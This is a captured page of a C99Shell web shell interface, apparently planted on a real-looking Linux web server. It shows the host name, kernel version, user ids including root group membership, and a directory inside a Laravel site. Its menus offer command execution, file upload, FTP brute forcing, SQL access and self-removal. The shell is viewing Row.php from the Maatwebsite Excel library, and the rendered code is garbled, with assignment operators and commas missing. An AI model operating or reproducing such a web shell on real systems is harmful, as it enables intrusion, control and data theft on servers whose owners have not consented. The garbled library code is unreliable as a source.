!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/smabpro.picotech.app/public_html/vendor/maatwebsite/excel/src/   drwxr-xr-x
Free 28.52 GB of 117.98 GB (24.18%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     Row.php (4.12 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Maatwebsite\Excel;

use 
ArrayAccess;
use 
Closure;
use 
Illuminate\Support\Collection;
use 
PhpOffice\PhpSpreadsheet\Worksheet\Row as SpreadsheetRow;

/** @mixin SpreadsheetRow */
class Row implements ArrayAccess
{
    use 
DelegatedMacroable;

    
/**
     * @var array
     */
    
protected $headingRow = [];

    
/**
     * @var array
     */
    
protected $headerIsGrouped = [];

    
/**
     * @var \Closure
     */
    
protected $preparationCallback;

    
/**
     * @var SpreadsheetRow
     */
    
protected $row;

    
/**
     * @var array|null
     */
    
protected $rowCache;

    
/**
     * @var bool|null
     */
    
protected $rowCacheFormatData;

    
/**
     * @var string|null
     */
    
protected $rowCacheEndColumn;

    
/**
     * @param  SpreadsheetRow  $row
     * @param  array  $headingRow
     * @param  array  $headerIsGrouped
     */
    
public function __construct(SpreadsheetRow $row, array $headingRow = [], array $headerIsGrouped = [])
    {
        
$this->row             $row;
        
$this->headingRow      $headingRow;
        
$this->headerIsGrouped $headerIsGrouped;
    }

    
/**
     * @return SpreadsheetRow
     */
    
public function getDelegate(): SpreadsheetRow
    
{
        return 
$this->row;
    }

    
/**
     * @param  null  $nullValue
     * @param  bool  $calculateFormulas
     * @param  bool  $formatData
     * @param  string|null  $endColumn
     * @return Collection
     */
    
public function toCollection($nullValue null$calculateFormulas false$formatData true, ?string $endColumn null): Collection
    
{
        return new 
Collection($this->toArray($nullValue$calculateFormulas$formatData$endColumn));
    }

    
/**
     * @param  null  $nullValue
     * @param  bool  $calculateFormulas
     * @param  bool  $formatData
     * @param  string|null  $endColumn
     * @return array
     */
    
public function toArray($nullValue null$calculateFormulas false$formatData true, ?string $endColumn null)
    {
        if (
is_array($this->rowCache) && ($this->rowCacheFormatData === $formatData) && ($this->rowCacheEndColumn === $endColumn)) {
            return 
$this->rowCache;
        }

        
$cells = [];

        
$i 0;
        foreach (
$this->row->getCellIterator('A'$endColumn) as $cell) {
            
$value = (new Cell($cell))->getValue($nullValue$calculateFormulas$formatData);

            if (isset(
$this->headingRow[$i])) {
                if (!
$this->headerIsGrouped[$i]) {
                    
$cells[$this->headingRow[$i]] = $value;
                } else {
                    
$cells[$this->headingRow[$i]][] = $value;
                }
            } else {
                
$cells[] = $value;
            }

            
$i++;
        }

        if (isset(
$this->preparationCallback)) {
            
$cells = ($this->preparationCallback)($cells$this->row->getRowIndex());
        }

        
$this->rowCache           $cells;
        
$this->rowCacheFormatData $formatData;
        
$this->rowCacheEndColumn  $endColumn;

        return 
$cells;
    }

    
/**
     * @param  bool  $calculateFormulas
     * @param  string|null  $endColumn
     * @return bool
     */
    
public function isEmpty($calculateFormulas false, ?string $endColumn null): bool
    
{
        return 
count(array_filter($this->toArray(null$calculateFormulasfalse$endColumn))) === 0;
    }

    
/**
     * @return int
     */
    
public function getIndex(): int
    
{
        return 
$this->row->getRowIndex();
    }

    #[
\ReturnTypeWillChange]
    public function 
offsetExists($offset)
    {
        return isset(
$this->toArray()[$offset]);
    }

    #[
\ReturnTypeWillChange]
    public function 
offsetGet($offset)
    {
        return 
$this->toArray()[$offset];
    }

    #[
\ReturnTypeWillChange]
    public function 
offsetSet($offset$value)
    {
        
//
    
}

    #[
\ReturnTypeWillChange]
    public function 
offsetUnset($offset)
    {
        
//
    
}

    
/**
     * @param  \Closure  $preparationCallback
     *
     * @internal
     */
    
public function setPreparationCallback(Closure $preparationCallback null)
    {
        
$this->preparationCallback $preparationCallback;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0034 ]--